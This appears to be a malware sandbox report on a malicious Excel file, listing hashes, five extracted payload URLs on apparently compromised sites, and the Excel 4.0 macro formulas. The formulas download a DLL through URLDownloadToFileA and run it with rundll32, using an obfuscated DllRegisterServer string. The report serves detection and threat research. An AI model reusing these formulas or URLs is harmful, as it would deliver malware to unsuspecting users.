General
-
Target
d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430
-
Size
68KB
-
MD5
66155453bc2c2705ae7f4867eebcf1cf
-
SHA1
0590cf2472338fb6a6ba16a8455c2ac2a3bcf14e
-
SHA256
d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430
-
SHA512
5330c9e9964c57a0ab4cb913640e7ecba4175f1bdd890f40854013d778d4387e39f1fc5ce98ba3ee1b016f99884c5593dd98be981b6716afbb5a975edd98e2d1
-
SSDEEP
1536:8skrrXj9XcQJ7daX5Ie48VAC4JdUxVVGU4:8skHj9J7dapIH8GCqd4yz
Malware Config
Extracted
http://cableequipmentmanagementreturns.com/wp-admin/JPivizxmiwo9A5Owys/
http://novawedevent.com/tmp/PA0rBwFszIpy/
https://www.altasolutions.asia/myfiles/myB984EnOlSJJ4b9/
https://www.sanskriticreations.net/wp-admin/iGdDEvnMusgGlIoaR/
http://kiwibeautyhouse.com/wp-includes/js/tinymce/themes/qzutpR1kPAPp54/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cableequipmentmanagementreturns.com/wp-admin/JPivizxmiwo9A5Owys/","..\iix.ocx",0,0) =IF('EFEWFWXV'!C15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://novawedevent.com/tmp/PA0rBwFszIpy/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.altasolutions.asia/myfiles/myB984EnOlSJJ4b9/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.sanskriticreations.net/wp-admin/iGdDEvnMusgGlIoaR/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiwibeautyhouse.com/wp-includes/js/tinymce/themes/qzutpR1kPAPp54/","..\iix.ocx",0,0)) =IF('EFEWFWXV'!C23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\iix.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
d4d3ecd29a7da57cc1f4caf4d25fef5cb71687a550d5b6ef1dd5c4f008991430